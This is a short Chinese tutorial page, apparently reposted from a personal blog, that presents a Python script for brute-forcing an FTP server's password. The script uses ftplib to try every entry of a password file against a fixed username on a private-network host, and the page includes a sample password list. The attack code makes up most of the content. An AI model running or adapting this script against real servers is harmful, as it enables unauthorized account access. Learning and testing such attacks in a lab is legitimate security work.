VB.net 2010 视频教程 VB.net 2010 视频教程 python基础视频教程
SQL Server 2008 视频教程 c#入门经典教程 Visual Basic从门到精通视频教程
当前位置:
首页 > temp > 简明python教程 >
  • python脚本-暴力破解FTP服务器密码

1、首先要知道FTP用户名,这里使用renqiyuan。

2、自定义一个密码文件pass.txt,进行暴力破解。

代码如下:

复制代码
#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib

def ftpLogin(host, Name, PassFile):

    #读取密码文件
    PF = open(PassFile, 'r')
    for line in PF.readlines():
        name = Name
        passwd = str(line).strip()
        print("Trying: "+name+"/"+passwd)
        try:
            ftp = ftplib.FTP(host)
            ftp.login(name,passwd)
            print("登录成功",name, passwd)
            ftp.quit()
            return (name, passwd)
        except Exception as e:
            pass
    print("没有找到正确的密码")
    return None

hostName = '172.16.10.200'
passwordFile = 'pass.txt'

if __name__ == '__main__':
    ftpLogin(hostName, "renqiyuan", passwordFile)
复制代码

密码文件:

复制代码
2222
123
123
123
111111
231
123
复制代码

运行结果

image

 

读书和健身总有一个在路上

作者:我要去西藏
出处:http://www.cnblogs.com/Renqy/


相关教程